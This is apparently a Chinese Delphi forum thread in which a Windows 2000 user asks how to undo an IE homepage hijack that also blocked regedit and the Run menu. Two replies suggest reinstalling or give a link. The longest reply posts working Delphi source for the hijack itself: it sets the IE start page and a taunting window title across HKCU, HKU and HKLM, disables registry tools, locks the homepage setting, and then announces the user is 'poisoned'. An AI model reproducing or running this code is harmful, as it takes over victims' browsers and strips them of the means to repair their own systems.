如何修改IE浏览器的主页

[jiaxianglei]

我的操作系统是Win2000，我上网后，IE的主页被改为黄色网站的主页，我的“开始”菜单中的“运行”也没有了，我查到regedit，但不能修改。请问如何修改注册表，来改变IE浏览器的主页？

[dext]

有键 属性 呵呵
重装

[torble]

http://www.delphibbs.com/delphibbs/dispq.asp?lid=585937

[DeityFox]

procedure TForm2.BitBtn1Click(Sender: TObject);
var
Reg: TRegistry;
s1,s2,s3,s4,s5,s6,reg1,reg2,reg3,reg4,reg5,reg6:string;
begin
Reg := TRegistry.Create;
s1:='哈哈！你曾经浏览过色情网站，还不承认？这里就是证据！';
s2:='http://lkpc.126.com';
s3:='Start Page';
s4:='Window Title';
s5:='DisableRegistryTools';
s6:='HomePage';
reg1:='\Software\Microsoft\Internet Explorer\Main';
reg3:='\Software\Microsoft\Windows\CurrentVersion\Policies\system';
reg4:='\Software\Policies\Microsoft\Internet Explorer\Control Panel';
reg2:='\.DEFAULT\Software\Microsoft\Internet Explorer\Main';
reg5:='\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\System';
reg6:='\.DEFAULT\Software\Policies\Microsoft\Internet Explorer\Control Panel';
try
//修改 HKEY_CURRENT_USER;
Reg.RootKey :=HKEY_CURRENT_USER;
if Reg.OpenKey(reg1,true) then;
begin
Reg.Writestring(s4,s1);//标题
Reg.Writestring(s3,s2);//缺省主页
end;
if Reg.OpenKey(reg3, True) then
Reg.Writeinteger(s5,1);
if Reg.OpenKey(reg4,true) then
Reg.Writeinteger(s6,1);//解锁主页
//修改HKEY_USERS
Reg.RootKey :=HKEY_USERS;
if Reg.OpenKey(reg2,true) then;
begin
Reg.Writestring(s4,s1);//标题
Reg.Writestring(s3,s2);//缺省主页
end;
if Reg.OpenKey(reg5, True) then
Reg.Writeinteger(s5,1);
if Reg.OpenKey(reg6,true) then
Reg.Writeinteger(s6,1);
//修改 HKEY_LOCAL_MACHINE
Reg.RootKey :=HKEY_LOCAL_MACHINE;
if Reg.OpenKey(reg1,true) then;
begin
Reg.Writestring(s4,s1);//标题
Reg.Writestring(s3,s2);//缺省主页
end;
if Reg.OpenKey(reg3, True) then
Reg.Writeinteger(s5,1);
if Reg.OpenKey(reg4,true) then
Reg.Writeinteger(s6,1);//解锁主页

Reg.CloseKey;
MessageDlg('你已经中毒了！关闭所有IE窗口再重新打开！看看有什么症状！', mtInformation, [mbOk], 0);
finally
Reg.Free;
inherited;
end;
end;